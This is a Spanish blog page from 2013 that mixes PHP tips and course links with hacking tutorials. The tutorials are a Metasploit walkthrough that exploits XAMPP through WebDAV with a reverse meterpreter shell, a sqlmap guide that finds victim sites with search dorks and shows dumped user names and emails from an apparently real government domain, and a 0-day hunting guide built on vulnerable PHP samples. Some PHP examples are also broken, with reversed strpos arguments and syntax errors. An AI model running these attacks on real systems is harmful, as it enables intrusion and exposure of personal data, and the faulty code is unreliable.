Pages

Banner 468

lunes, 30 de diciembre de 2013

Buenas prácticas para programar en PHP

0 comentarios
 

La altísima presencia de PHP en internet ha propiciado que entre la comunidad de programadores haya dos vertientes básicas: detractores y defensores. Al margen de los argumentos que uno u otro colectivo pueda esgrimir (lenguaje interpretado vs compilado, nomenclatura de funciones, rapidez, etc.), la realidad es que LAMP está detrás de la mayoría de servicios y aplicaciones web.
Desde formación online os presentamos esta guía con veinte consejos y buenas prácticas de programación, con el fin de que vuestro código PHP sea lo más efectivo posible:

Tutorial buenas prácticas programación PHP

1. Activar el reporte de errores
error_reporting(E_ALL) es tu amigo. Utilízalo, junto con ini_set(‘display_errors’, ‘On’), para ver todas las advertencias del compilador de PHP, saber qué métodos están depreciados, índices inexistentes, etc.
2. No emplear etiquetas cortas
Para que el intérprete de PHP ejecute un código, éste ha de estar delimitado por las etiquetas de apertura y cierre de PHP: <?php ?>. Si en la configuración de PHP de nuestro servidor (archivo php.ini) se permite el uso de etiquetas cortas (<? ?>) el script se ejecutará exactamente igual. Pero, ¿qué ocurre si cambiamos a otro servidor en el que no estén habilitadas? Nuestras páginas dejarán de funcionar como esperamos y, lo que es más grave, puede resultar en que todo nuestro código fuente se imprima por pantalla como texto plano (ya que no habrá sido interpretado), quedando a disposición de cualquier personaje.
3. Operadores de comparación: === vs ==
== (o !=) compara el valor, mientras que === (o !==) compara el valor y el tipo.
Dado que en PHP las variables no tienen un tipo asignado y éste puede cambiar “al vuelo” en tiempo de ejecución, conviene tener en cuenta cómo serán evaluadas las comparaciones en PHP:
<?php
$a = 0;
$b = "0"
$c = false;
var_dump($a == $b); // 0 == 0 -> true
var_dump($a === $b); // 0 == 0 && (integer) == (string) -> false
var_dump($a == $c); // 0 == false -> true
Por otro lado, existen funciones que retornan un número entero. Como el valor lógico de cualquier entero es true, exceptuando el cero, que es false, deberemos tenerlo en cuenta a la hora de evaluar nuestras condiciones. Por ejemplo, la función strpos() busca la posición de la primera ocurrencia de una subcadena dentro de otra:
<?php
$cadena = 'formación online';

$buscamos = 'm'; // presente en $cadena
$posicion = strpos($buscamos, $cadena); // $posicion = 3

$buscamos = 'z'; // ausente en $cadena
$posicion = strpos($buscamos, $cadena); // $posicion = false

$buscamos = 'f'; // presente en $cadena
$posicion = strpos($buscamos, $cadena); // $posicion = 0
Por lo tanto, si queremos comprobar la presencia o no de una cadena con strpos() no debemos comparar por valor (==) sino por tipo y valor (===).
4. echo vs print
Estas funciones realizan la misma tarea. Sin embargo, echo es sensiblemente más rápida que print.
5. Concatenación de cadenas, comillas simples(‘) vs comillas dobles(“)
Cuando trabajes con cadenas, evita siempre el uso de comillas dobles. La razón es que PHP analiza el contenido de las comillas dobles en búsqueda de variables que deban ser interpretadas, resultando en un tiempo de ejecución mayor.
Emplea siempre la función echo y concatena las cadenas con comas: echo ‘Hola’, $nombre, ‘, ¿qué te trae por aquí? requerirá menos tiempo al compilador que echo ‘Hola’ . $nombre . ‘, ¿qué te trae por aquí?’. Por lo visto en el punto anterior, el “peor caso posible” sería print "Hola $nombre, ¿qué te trae por aquí?"
6. Búsqueda de cadenas y patrones case insensitive
La búsqueda de una cadena sin importar mayúsculas/minúsculas (stripos()) es entre un 400% y un 600% más lenta que su equivalente case sensitive, strpos()).
En cuanto a las expresiones regulares, las búsquedas sensibles, preg_match(“/$patron/”, $cadena), son, como norma, ligeramente más eficaces que su equivalente no sensible: preg_match(“/$patron/i”, $cadena).
Si las coincidencias se realizan de modo iterativo (dentro de un bucle for, while, foreach), es recomendable convertir a lowercase o uppercase antes y realizar las operaciones en su versión case sensitive.
7. Convenciones
  • Los nombres de las clases en MixedCase. Ejemplo: ElNombreDeMiClase
  • Los nombres de los métodos en camelCase. Ejempo: nombreDelMetodo()
  • Las constantes siempre en ALL_CAPS. Ejemplo: COLOR_DEFINIDO_PARA_MI
  • Las variables, propiedades y parámetros en camelCase. Ejemplo: $variableEnLaQueAlmacenoAlgo
  • Los métodos y variables que no sean públicos, precedidos por un guión bajo (underscore-prefixed). Ejemplo: $_miPalabraSecreta
Veámoslo en un ejemplo para ilustrar:
<?php 
class MyNewClass{
    const LIMIT_OF_ITERATIONS = 10;
    public $myProperty;
    public $myOtherProperty;
    protected $_myProtectedProperty; // observa guión bajo por no ser public

    // constructor 
    function __construct(){
    }

    public function hacerAlgoConMiClase($parametroRecibido){
        for ($i = 0; $i < self::LIMIT_OF_ITERATIONS; $i++){
            // lo que sea
        }
    }

    public function getMyProtectedProperty(){
        return $this->_myProtectedProperty;
    }
}
8. Emplea un Entorno de Desarrollo Integrado (IDE)
Un IDE es un editor de código que ofrece la posibilidad de depurar, autocompletar e identar el código. Existen multitud de alternativas, gratuitas y de pago. Entre las opciones gratuitas destacan Eclipse y Netbeans; por su parte, Zend Studio y PHP Designer destacan como opciones de pago.
9. Separa y reutiliza tu código
Evita tener archivos con cientos o miles de líneas. Agrupa las funciones que vayas a emplear con frecuencia en archivos e inclúyelos para su posterior reutilización. Ejemplo:
<?php
class Ipl_Util_Date{
    ...
    public static function timestampToSpanishFormat($date, $dateSeparator, 
  $timeSeparator = ' a las '){
        if ($date == '') return null;
        $temp = explode(' ', $date);
        if (sizeof($temp) != 2) return null;
        $dates = explode('-', $temp[0]);
        return $dates[2] . $dateSeparator . $dates[1] 
  . $dateSeparator . $dates[0] 
  . $timeSeparator . $temp[1];
    }
}
Así, si alguna vez queremos convertir una fecha en formato timestamp a un formato con el que estamos más familiarizados, sólo tenemos que hacer <?php echo Ipl_Util_Date::timestampToSpanishFormat($myDate, ‘/’) ?>.
10. Al iterar arrays, fija el valor máximo fuera del bucle
Cada llamada al método count() aumenta hasta en un 50% el tiempo de ejecución, según el tamaño del array.
// mal
for ($i = 0, $i < count($miArray); $i++){
   ... 
}
// bien
$limite = count($miArray);
for ($i = 0; $i < $limite; $i++){
    ...
}
11. Emplea el buffer de salida
En lugar de utilizar echotexto que sea‘, utiliza ob_start() para empezar a almacenar el texto en el búffer de salida. Para terminar la captura, puedes emplear ob_get_contents() y ob_get_clean(), o ob_end_clean().
12. Mantén las opciones de configuración en un archivo
A medida que tu aplicación vaya creciendo necesitarás acceder en distintos lugares a determinados valores. Almacenándolos todos en un único lugar, evitarás tener que modificar todos los archivos cada vez que haya un cambio. Imagina que programas un carrito de la compra y en un determinado momento hay que cambiar el IVA.
13. Incluyendo código
include, require y sus derivados (include_once, require_once) son sentencias, no métodos. No debe ponerse la ruta al fichero entre paréntesis.
Emplea siempre include o require en vez de include_once o require_once para que el cacheado de código sea más efectivo.
14. Codificación de caracteres
Emplea UTF-8 (sin BOM) en lugar de ANSI. Lo que en ANSI u otra codificación
puede ser un determinado caracter (una eñe, por ejemplo), en otra codificación puede ser algo completamente distinto. Si tu público emplea tu misma codificación no hay problema pero, si en un momento dado alguien de, por ejemplo, Rusia entra en tu página, verá la pantalla llena de caracteres sin sentido.
Si tu web va a estar disponible en más de un idioma, es indispensable que tu codificación sea UTF-8 (incluyendo la codificación y colación de la base de datos).
15. Minimiza el número de variables globales
Operar con variables globales es en torno a un 200% más costoso que hacerlo con locales.
16. Directiva AllowOverride
Si tu servidor web es Apache, emplea la directiva AllowOverride None donde sea posible.
Imagina una estructura de directorios como la siguiente: media/images/2013/03/my_image.jpg. Si AllowOverride está en All, antes de que Apache pueda servir el recurso my_image.jpg, debe recorrer todos los directorios desde la raíz hasta “/03″ en búsqueda los archivos .htaccess por si en alguno de ellos se especificase alguna directiva sobre el objeto de la petición.
17. No implementes todas las estructuras de datos como objetos
Los array son más rápidos y consumen menos memoria que instanciar un objeto.
18. Incrementar o Decrementar variables: ++$i vs $i++
Pre-incrementar (++$i) es en torno a un 10% más rápido que post-incrementar ($i++). La razón es que cuando hacemos post-incremento, PHP necesita crear una variable temporal en la que almacenar el valor a ser incrementado.
19. Minimiza el número de consultas a la base de datos
Realizar una consulta es costosa en términos temporales. En todas aquellas ocasiones en que los datos no vayan a cambiar con mucha frecuencia, es interesante realizar una única vez la consulta y almacenar el resultado de ésta en un archivo de texto plano. Cuando se produzcan cambios en la consulta, se vuelve a generar el archivo a ser incluido.Por ejemplo: imagina que tienes una web de películas, y en algún sitio de la página se ve el listado de películas mejor valoradas. Para obtener las diez películas mejor valoradas tendrías que hacer una consulta similar a la siguiente:
<?php 
$sqlVotos = 'SELECT p.id, p.titulo, SUM(v.voto) AS suma_votos, 
 COUNT(v.id) AS numero_votos, 
 (SUM(v.voto)/COUNT(v.id)) AS valoracion 
 FROM peliculas p 
INNER JOIN votos v ON p.id=v.id 
GROUP BY v.id_pelicula
ORDER BY valoracion DESC 
LIMIT 0,10';
$resVotos = mysql_query($sql);
$votos = mysql_fetch_array($res, MYSQL_ASSOC);

echo "

Mejor valoradas

n';
Este script debería ejecutarse para todas y cada una de las peticiones de página que tuviera tu web. Lo que podemos hacer es ejecutar el siguiente código cada vez que se produzca una votación, o bien un Cron que se ejecute cada 30 minutos o el intervalo que consideremos:
<?php 
$filename = PATH_TO_VOTACIONES_FILE . 'votos.txt';  // ruta al fichero
$handle = fopen($filename, 'w+'); // abrimos el fichero
// ejecutamos la consulta anterior ($sqlVotos / $resVotos)
foreach ($votos as $voto){
    fwrite($handle, '
  • '. $voto['titulo'] . ' (' . $voto['valoracion'] . ')
  • ' . "n"; } fclose($handle);
    Entonces, sólo tendríamos que hacer un require PATH_TO_VOTACIONES_FILE . ‘votos.txt’; para mostrar los votos.
    20. isset()
    La función isset() (isSet) resulta de una utilidad tremenda. Nos sirve tanto para saber si una determinada variable ha sido inicializada como para comprobar que un índice existe e incluso para trabajar con longitudes de cadenas de un modo más eficiente:Si en un determinando momento necesitamos comprobar que una cadena tiene al menos una determinada longitud, por ejemplo que el nombre de usuario tenga más de 4 caracteres, lo más inmediato que se nos puede ocurrir es utilizar strlen()
    if (strlen($username) < 5){
        ....
    }
    Pero, en tanto que strlen es una función, PHP necesita realizar un trabajo previo para ejecutar la llamada (convertirla a lowercase y buscarla en la tabla hash de funciones), además de ejecutar la propia función.
    Por contra, isset no es una función sino una construcción del lenguaje. Esto significa que PHP no tendrá que hacer ninguna operación previa ni habrá sobrecarga.

    Así, si queremos comprobar que una variable tiene más de una determinada longitud, podemos hacerlo de un modo más efectivo de la siguiente manera:
    if (isset($username{5})){
        ....
    }
    Leer mas...

    Curso gratis de programación en PHP

    0 comentarios
     
    Curso gratis de PHP online

    Aprende a programar con este curso gratis de PHP paso a paso de 23 artículos actualizados permanentemente que ofrece la web RedesZone.es. Si quieres iniciarte en la programación de este lenguaje, o aprender nuevos trucos para mejorar tus aplicaciones, no dejes de consultar esta interesante guía.

    Fuente: Curso PHP Online

    A diferencia de otros lenguajes que requieren ser compilados, PHP es un lenguaje que se interpreta directamente a través de un módulo específico en el servidor, que se encarga de generar la web, como Apache, el más conocido y utilizado en la mayoría de servidores. Así pues, este curso gratuito y online trata la instalación de un servidor PHP, las variables en PHP, tipos, operadores, constantes, funciones, bucles, orientación a objetos e incluso utilización de PHP junto a sockets y bases de datos.

    Temario del curso gratis de PHP

    Leer mas...

    Curso de introducción a Java

    0 comentarios
     

    Curso gratis de Java

    Este curso gratis de Java online de RedesZone.net te ayudará a aprender a programar paso a paso en este lenguaje a lo largo de 74 capítulos. Este tutorial de Java se extiende en ocho epígrafes sobre estructura de datos, poliformismo, gestores de distribución y gestión de eventos, así como entrada y salida de ficheros o programación de juegos.

    Fuente: curso completo de Java online

    Desarrollado por Sun Microsystems adquirido por Oracle, la sintaxis de Java se asimila mucho a la de C y C++, y sus aplicaciones se ejecutan en una máquina virtual de Java (JVM), lo que hace irrelevante la arquitectura del sistema operativo, ya que podrá trabajar de la misma manera en cualquier plataforma.

    Así pues, a continuación tienes recopilados todos los contenidos de este tutorial gratuito de Java que te ayudará a aprender a programar en este lenguaje.

    Curso gratis de Java

    Estructuras de datos

    Herencia y polimorfismo

    Gestores de distribución

    Gestión de eventos

    Entrada y salida de ficheros

    Programación concurrente y distribuída en Java

    Programas

    Leer mas...
    domingo, 22 de diciembre de 2013

    Conectando con servidor Mysql con PHP

    0 comentarios
     


    Esta ves veremos la forma de conectarnos a un servidor mysql usando PHP, para posteriormente ingresar,modificar y eliminar datos de una base de datos.
    La conexión es muy fácil de hacer, yo lo are en localhost(En mi caso WAMP)

    <?php
    //Esto es una forma antigua de hacerlo
    $link = mysql_connect("Servidor","usuario","contraseña") or die("Ocurrio un error ".mysql_error());
    
    $db = mysql_select_db("nombre de base de datos",$link) or die("La base de datos no existe");
    ?>
    Explicación de funciones:
    mysql_connect(host,user,pass) : Abre o reutiliza una conexión aun servidor Mysql mysql_select_db(database,identifier) : Establece una base de datos para el  servidor asociado con el identificador. En el caso que no indique el identificador (identifier) se tomara el ultimo enlace  abierto.

    Otra forma de conectar es usando Mysqli y mas segura:


    <?php
    $mysqli = new mysqli("Servidor", "usuario", "contraseña", "nombre de base de datos");
    
    /* Revisamos la conexión, si no ocurrió un error */
    if ($mysqli->connect_errno) {
        printf("Fallo la conexion: %s\n", $mysqli->connect_error);
        exit();
    }
    ?>
    
    Una forma mas fácil ,segura y rapida. 
    Pueden leer la documentación de Mysql , Mysqli en la web principal.
    Leer mas...
    sábado, 14 de diciembre de 2013

    [Metasploit] Hackeando XAMPP Remotamente (Windows XP - 7 - 8)

    0 comentarios
     

    [Metasploit] Hackeando XAMPP Remotamente (Windows XP - 7 - 8)




    XAMPP es una forma fácil de instalar la distribución Apache que contiene MySQL, PHP y Perl. XAMPP es realmente simple de instalar y usar - basta descargarlo, extraerlo y comenzar.

    La distribución de Windows 2000, 2003, XP, Vista y 7 contiene Apache, MySQL, PHP + PEAR, Perl, mod_php, mod_perl, mod_ssl, OpenSSL, phpMyAdmin, Webalizer, Mercury Mail Transport System for Win32 and NetWare Systems v3.32, Ming, FileZilla FTP Server, mcrypt, eAccelerator, SQLite, and WEB-DAV + mod_auth_mysql.
    ------------------------------------------------------------------------------------------------------------------

    Actualmente el servicio XAMPP, usado por la mayoria de webmasters y usuarios que se dedican a la Programación Web son totalmente vulnerables y se ha creado un modulo en metasploit que explota contraseñas débiles WebDAV en los servidores XAMPP y utiliza credenciales proporcionadas para subir una carga útil de PHP y ejecutarlo. El exploit se encuentra disponible desde XAMPP WebDAV PHP Upload y los pasos para aprovecharse de esta vulnerabilidad, son los siguientes:

    REQUERIMIENTOS:

    • BackTrack 5 R1 - R2 o R3 (Atacante)
    • Metasploit Framework (Atacante)
    • Windows XP - 7 - 8 (Victima)
    • XAMPP (Victima)

    PROCEDIMIENTOS:

    Primeramente tenemos que detectar si la PC victima esta ejecutando el servicio XAMPP, para ello usaremos Nmap, ejecutando el siguiente comando:
    • nmap -sS -T4 -A 192.168.1.38

    Si los resultados se muestran tal cual con la imagen de arriba, quiere decir que la PC victima esta ejecutando el servicio XAMPP en el puerto 80 y 443, entonces para aprovecharnos de la vulnerabilidad mencionada lineas arriba, simplemente abriremos metasploit y ejecutamos los siguientes comandos:

    -------------------------------------------------------------------------------------------------------------
    use exploit/windows/http/xampp_webdav_upload_php
    set payload php/meterpreter/reverse_tcp
    set Lhost 192.168.1.36 (Nuestra IP)
    set RHOST 192.168.1.38 (IP Victima)
    exploit
    -------------------------------------------------------------------------------------------------------------



    Estos comandos haran que se ejecute un payload en php la cual automaticamente se "subira" en el servicio XAMPP de la PC victima.



    Seguidamente si todo se realizo correctamente, recibiremos la session meterpreter gracias al payload que metasploit subio al servicio XAMPP vulnerable.


    Lo demas ya queda a nuestra total disposicion, en este caso podemos subir una web shell ya que XAMPP es un servicio web, por lo que podemos ingresar desde nuestro navegador a la IP vulnerada y ejecutar comandos desde la shell.
    Leer mas...

    Inyección SQL vía "Sqlmap".

    0 comentarios
     
    ¿Que és sqlmap?


    Sqlmap es una herramienta desarrollada en Python para realizar inyección de código sql automáticamente. Su objetivo es detectar y aprovechar las vulnerabilidades de inyección SQL en aplicaciones web. Una vez que se detecta una o más inyecciones SQL en el host de destino, el usuario puede elegir entre una variedad de opciones entre ellas, enumerar los usuarios, los hashes de contraseñas, los privilegios, las bases de datos , O todo el volcado de tablas / columnas específicas del DBMS , ejecutar su propio SQL SELECT, leer archivos específicos en el sistema de archivos y mucho más.
    Su web: http://sqlmap.org/
    Descarga : https://github.com/sqlmapproject/sqlmap/tarball/master
    Yo voy a usarlo en BackTrack 5 r3, si tiene Windows tendrán que instalar Python ya que esta codeado en ese lenguaje.
    http://www.python.org/getit/

    Comandos básicos

    -u url donde vamos a realizar la inyección,por ejemplo:"www.sitio.com/index.php?id=2"
    -p Parámetro de la url que inyectaremos.
    --dbs Muestra todas las base de datos de la web
    -D Selecciona el nombre de la base de datos a la que harás la consulta
    --tables Muestra las tablas de la base de datos seleccionada
    -T Conexión a una tabla especifica
    --columns Muestra las columnas de la tabla que seleccionamos
    --dump Hace un volcado de datos de ficheros .csv de la tabla seleccionada, mostrara toda la informacon de las tablas
    --dbms Con este parámetro podemos seleccionar el motor de base de datos que usa para hacer las pruebas de errores ejemplo:  SQL, MySQL, ORACLE,etc.
    Ya que sabemos los comando basicos vamos a la practica.

    Empecemos

    1. Bien, una vez estemos en nuestro BackTrack 5 r33 abrimos nuestra terminal.
    En la terminale escribimos esto:

    Citar
    cd /pentest/database/sqlmap/

    2. Después debemos buscar un objetivo al cual queremos "hackear".
    Podemos utilizar una dork como está:

    Citar
    allinurl: /news.php?id=
    allinurl: /article.php?id=
    allinurl: /noticia.php?id=

    3. Una vez que tengamos nuestro objetivo comprobamos si hay algún fallo, lo comprobamos con una comilla al final: '

    Ejemplo:

    Citar
    http://www.sitioweb.com/news.php?id=543'

    Sí sale un error es que hay un fallo de seguridad y significa que si o si podremos hacer una inyección sql.

    4. Ahora en nuestra terminal escribimos:

    Citar
    ./sqlmap.py -u http://www.sitio-web.com/news.php?id=543 --dbs

    Y empezará a analizar...

    5. Saldrán varias bases de datos ejemplo:

    Citar
    available databases [2]:
    • information_schema
    • connectdb
    Entonces elijemos la que creamos conveniente en esté caso: connectdb.

    Una vez que hayamos elegido la db escribimos esto en nuestra terminal:

    Citar
    ./sqlmap.py -u http://www.sitio-web.com/news.php?id=543 -D aquívaladb --tables

    Y empezará a escanear las tablas...

    6. Entonces cuando las haya escaneado saldrá algo así:

    Citar
    Database: connectdb
    [20 tables]
    +-------------------+
    | connect_cargos      |
    | connect_ciudades    |
    | connect_contacto    |
    | connect_contenido   |
    | connect_contratista |
    | connect_documentos  |
    | connect_ds          |
    | connect_empleo      |
    | connect_enlaces     |
    | connect_errores     |
    | connect_estados     |
    | connect_extras      |
    | connect_log         |
    | connect_media       |
    | connect_rextras     |
    | connect_rsecciones  |
    | connect_rtagcloud   |
    | connect_secciones   |
    | connect_tagcloud    |
    | connect_usuarios    |
    +-------------------+

    7. Bien, ahora lo que haremos será escanear las columnas de la tabla usuarios ya que es la que nos interesa, para eso ponemos lo siguiente en nuestro terminal:

    Citar
    ./sqlmap.py -u http://www.sitio-web.com/news.php?id=543 -D aquívaladb -T aquívalatabladeusuarios --columns

    Y empezará a analizar...

    8. Bien, una vez lo analize nos saldrá algo parecido a esto:

    Citar
    Database: connectdb
    Table: connect_usuarios
    [9 columns]
    +-----------------------+-----------------+
    | Column                | Type            |
    +-----------------------+-----------------+
    | apellido_usuarios     | varchar(45)     |
    | clave_usuarios        | varchar(40)     |
    | email_usuarios        | varchar(255)    |
    | id_usuarios           | int(2) unsigned |
    | institucion_usuarios  | varchar(45)     |
    | nombre_usuarios       | varchar(45)     |
    | permisos_usuarios     | tinyint(4)      |
    | telf_usuarios         | int(11)         |
    | ultimoacceso_usuarios | datetime        |
    +-----------------------+-----------------+

    Bien, ahora si queremos todo el contenido de está columna lo que haremos será poner esto en la terminal:

    Citar
    ./sqlmap.py -u http://www.sitio-web.com/news.php?id=543 -D aquívaladb -T aquívalatabladeusuarios --dump

    Pero, en esté caso solo necesitamos saber la tabla de clave_usuarios, email_usuarios, id_usuarios y nombre_usuarios.

    Por lo tanto ponemos en la terminal:

    Citar
    ./sqlmap.py -u http://www.fonep.gob.ve/noticias.php?id=195 -D aquivaladb -T aquívalatabladeusuarios -C "clave_usuarios,email_usuarios,id_usuarios,nombre_usuarios" --dump

    9. Bien, después de eso ya habremos obtenido los datos específicos de cada usuario.

    Y por lo tanto saldrá algo así:

    Citar
    Database: connectdb
    Table: connect_usuarios
    [3 entries]
    +-------------------+----------------------------+-----------------+---------------+
    | clave_usuarios | email_usuarios             | id_usuarios |                  nombre_usuarios |
    +-------------------+----------------------------+-----------------+---------------+
    | Olivo             | ernesto.olivo@ingenian.net |     1  |                           | ernesto       |
    | Gimenez           | lugimenez@cantv.net        |   4 |                            | lugimenez    |
    | Gonzalez Aviles   | serser2020@gmail.com      | 11 |                                | gonzal    |
    +-------------------+----------------------------+-----------------+---------------+

    Bien, eso es todo, espero que les haya gustado...
    Sí no lo han entendido les dejo un videotutorial que encontre en google para la ocasion, ya que yo ahora mismo no tengo tiempo para hacer ningún video tutorial..

    http://www.youtube.com/watch?feature=player_embedded&v=WM1vWFWXvvY
    Creditos:
    Jeremy López.
    Publicado en:
    http://www.hackxcrack.es/forum/tutoriales-hxc/inyeccion-sql-via-%27sqlmap%27/#.Uq0jjyflncw
    Leer mas...

    El Arte de encontrar 0-days en Aplicaciones Webs

    0 comentarios
     

     Esta vez, vamos a ver algo sobre 0-days, gracias a un amigo con el seudónimo Join7 del foro ZentrixPlus donde ha realizado un tutorial en la cual explica detalladamente como encontrar 0-days en aplicaciones webs.

    Antes de empezar con el tutorial, es necesario contar con conocimientos básicos de PHP y MySQL como también sobre algunas vulnerabilidades comunes y la forma en que funcionan. Resaltar que no es necesario ser un programador profesional, solo basta con ser capaz de leer y entender PHP.

    Si aun no cuenta con un pequeño conocimiento sobre PHP y necesita aprender lo básico para que pueda entender este tutorial, puede ingresar a los siguientes tutoriales:


    Tutorial PHP:

        http://php.net/manual/en/tutorial.php

    Tutorial MySQL:

        http://dev.mysql.com/doc/refman/5.0/en/tutorial.html

    Vulnerabilidades:

        https://www.owasp.org/index.php/Category:Attack


    1.- CREACIÓN DE UN ENTORNO DE AUDITORIA:

    ¿Por qué utilizar un entorno de Auditoria?

    Simplemente se puede descargar el código que deseemos auditar, seguidamente se puede analizar el código utilizando un editor de texto en busca de vulnerabilidades.

    Esto no es preferible, ya que hay una posibilidad muy alta de que falten cosas y seguramente tomará mucho más tiempo que mediante el uso de un entorno de Auditoria.

    Web Server:

    Queremos crear un servidor web donde podremos subir y probar las aplicaciones PHP, en estos casos se puede utilizar XAMPP o cualquier otro sistema que permita analizar estas aplicaciones localmente.

    Es muy recomendable probar y analizar el posible código vulnerable en este servidor web (XAMPP) o en una red de confianza.

    ¿Que es lo que vamos a Auditar?

    Ahora, cuando tenemos nuestro servidor creado tenemos que instalar cosas adicionales como WordPress, Joomla, MyBB o similares, dependiendo de lo realmente queremos auditar.

    Si en estos casos vamos por un CMS independiente o simplemente una aplicación PHP que no, por supuesto, necesitamos algunos de los anteriores, pero es probable que en algún momento del tiempo pase a un blog de WordPress o un foro MyBB.

    Seguidamente se mostraran los enlaces de descarga y alguna información sobre la forma de instalar algun CMS en particular:

    MyBB

    Descarga: http://www.mybb.com/downloads
    Guía de Instalación: http://docs.mybb.com/Installing.html



     WordPress

    Descarga: http://wordpress.org/download/
    Guía de Instalación: http://codex.wordpress.org/Installing_WordPress



     Joomla

    Descarga: http://www.joomla.org/download.html
    Guía de Instalación: http://www.joomla.org/about-joomla/getting-started.html



     SMF:

    Descarga: http://download.simplemachines.org/
    Guía de Instalación: http://wiki.simplemachines.org/smf/Installing



     2.- LO QUE DEBEMOS BUSCAR:

    User input:

    La mayoría de vulnerabilidades son posibles porque el programador del archivo php olvida la validacion de entrada. Esto ocurre mayormente con las vulnerabilidades de SQL Injection, Cross-Site Scripting, File Inclusion, Server Side Include, Code Injection, File Upload y muchos mas.

    $_GET
    Un array asociativo de variables pasadas al script actual a través de los parámetros de URL.
    http://php.net/manual/en/reserved.variables.get.php

    $_POST
    Un array asociativo de variables pasadas al script actual mediante el método HTTP POST
    http://php.net/manual/en/reserved.variables.post.php

    $_REQUEST
    Una matriz asociativa que contiene por defecto el contenido de $ _GET, $ _POST y $ _COOKIE.
    http://php.net/manual/en/reserved.variables.request.php

    $_COOKIE
    Un array asociativo de variables pasadas al script actual a través de cookies HTTP.
    http://php.net/manual/en/reserved.variables.cookies.php

    $_SERVER
    $ _SERVER - $ HTTP_SERVER_VARS [obsoleta] - Información del servidor y entorno de ejecución.
    http://php.net/manual/en/reserved.variables.server.php

    $_FILES
    Una matriz asociativa de artículos subidos al script actual a través del método HTTP POST.
    http://php.net/manual/en/reserved.variables.files.php

    Posibles Funciones Vulnerables:

    Sql Injection:

    Ejemplo Vulnerable:
    $id = $_GET['id'];
    $news = mysql_query( "SELECT * FROM `news` WHERE `id` = $id ORDER BY `id` DESC LIMIT 0,3" );
    


        mysql_*
        $db (Para MyBB, mira aquí para más información: http://docs.mybb.com/Plugins-Globals.html y http://docs.mybb.com/Database_Methods.html
        $wpdb (Para WordPress, mira aquí para más información: http://codex.wordpress.org/Class_Reference/wpdb


    Existen un montón de posibilidades que las funciones de mysql sean vulnerables, para ello podemos echar un vistazo al siguiente link para obtener mas información sobre las funciones de MySql.

        http://se1.php.net/manual/en/ref.mysql.php


    He aquí algunas funciones comunes que posiblemente sean vulnerables:

        mysql_db_query - Selecciona una base de datos y ejecuta una consulta sobre el mismo.
        mysql_fetch_array - Extrae la fila de resultado como una matriz asociativa, una matriz numérica o ambas.
        mysql_fetch_field - Obtener información de columna del resultado y regresar como un objeto.
        mysql_fetch_row - Devuelve una fila de resultado como una matriz enumerada.
        mysql_num_rows - Devuelve el número de filas en el resultado.
        mysql_result - Obtener datos de resultado.


    File Inclusion:

    Ejemplo Vulnerable:

    $file = $_GET['file'];
    if(isset($file)){
     include("pages/$file");
    }
    else
    {
     include("index.php");
    }
    

        include()
        require()


    Si la aplicación no restringe cómo incluir archivos que puede leer archivos locales y posiblemente ejecutar archivos desde un servidor remoto (si allow_url_fopen está habilitado).

    Upload:

    $target_path = "uploads/";
    $target_path = $target_path . basename($_FILES['uploadedfile']['name']);
    if (move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
     echo "The file " . basename($_FILES['uploadedfile']['name']) . " has been uploaded";
     } else {
      echo "There was an error uploading the file, please try again!";
     }
    

        $_FILES


    Si la aplicación no restringe como se cargan los archivos, en estos casos se puede cargar y ejecutar cualquier tipo de archivos.

    Code Execution:

    $myvar = "varname";
    $x = $_GET['arg'];
    eval("\$myvar = \$x;");
    

        passthru()
        system()
        eval()
        exec()



    3.- HERRAMIENTAS ÚTILES, SCRIPTS Y TÉCNICAS:

    Editores de Texto:

    Sublime Text 2 es uno de los mejores Editores de Textos que existe, sus funcionalidades incluyen, pero no se limitan a destacar del sintaxis, la apertura de directorios como "Proyectos" (muy útil) y una función de búsqueda muy agradable.

    Grep:

    Grep es una utilidad de línea de comandos para la búsqueda de texto sin formato, para las líneas que coincidan con una expresión regular. Grep fue desarrollado originalmente para el sistema operativo Unix.

    Grep es una herramienta muy útil cuando se trata de realizar auditorias hacia aplicaciones web. Supongamos que tenemos el siguiente código en app.php:
    $header = $_GET['header'];
    if(isset($header)){
     include("headers/$header");
    }
    else
    {
     include("headers/standard.php");
    }
    $id = $_GET['id'];
    $news = mysql_query( "SELECT * FROM `news` WHERE `id` = $id ORDER BY `id` DESC LIMIT 0,3" );
    

    Podríamos usar una línea de comandos:

    $ grep _GET app.php

    Salida:
    $header = $_GET['header'];
    $id = $_GET['id'];



     Encontrar funciones mysql_*:
    grep include app.php

    Salida:
    include("headers/$header");
    include("headers/standard.php");



     Ahora digamos que tenemos 3 aplicaciones PHP en una carpeta y queremos buscar la función include en todas ellas, entonces podríamos hacer algo como esto:
    grep include *.php

    Salida:
    app2.php: include("headers/$header");
    app2.php: include("headers/standard.php");
    app3.php: include("headers/$header");
    app3.php: include("headers/standard.php");
    app.php: include("headers/$header");
    app.php: include("headers/standard.php");



     Si queremos dar salida al número de línea, puede utilizar el argumento -n de esta manera:
    grep include *.php -n
    Salida:

    app2.php:5: include("headers/$header");
    app2.php:9: include("headers/standard.php");
    app3.php:5: include("headers/$header");
    app3.php:9: include("headers/standard.php");
    app.php:5: include("headers/$header");
    app.php:9: include("headers/standard.php");

    Ahora queremos comprobar si las palabras 'SELECT' y 'FROM' se pueden encontrar:
    grep 'SELECT\|FROM' app.php -n

    Salida:
    13:$news = mysql_query( "SELECT * FROM `news` WHERE `id` = $id ORDER BY `id` DESC LIMIT 0,3" );



     Si queremos que coincida con una cadena e ignorar mayúsculas y minúsculas se utiliza el argumento -i:
    grep 'sEleCt\|FroM' app.php -n -i


    Salida:

    13:$news = mysql_query( "SELECT * FROM `news` WHERE `id` = $id ORDER BY `id` DESC LIMIT 0,3" );


     Algunas otras herramientas para auditar archivos php: http://www.hotscripts.com/blog/6-free-php-security-auditing-tools/

    4.- AUDITORIA EN EL MUNDO REAL:

    Vamos a echar un vistazo a un ejemplo del mundo real, un exploit público, y ver si podemos encontrar las vulnerabilidades:

    MyBB DyMy User Agent SQL Injection:
    http://www.exploit-db.com/exploits/23359/

    Vamos a descargar la aplicación vulnerable y colocarlo en nuestra carpeta de plugins. Lo primero que debemos hacer es abrirlo en el Editor de texto:



     Ahora vamos a empezar con un poco de búsqueda básica para posibles funciones vulnerables y cosas similares:
    grep "\$_GET" dymy_ua.php -i -n
    grep "\$_GET" dymy_ua.php -i -n
    grep "mysql_" dymy_ua.php -i -n
    grep "include" dymy_ua.php -i -n

    Salida:
    Nada util.



     ¿Por qué no encontrar nada? ¿Estamos haciendo algo mal? La respuesta está en el código fuente, vamos a echar un vistazo:
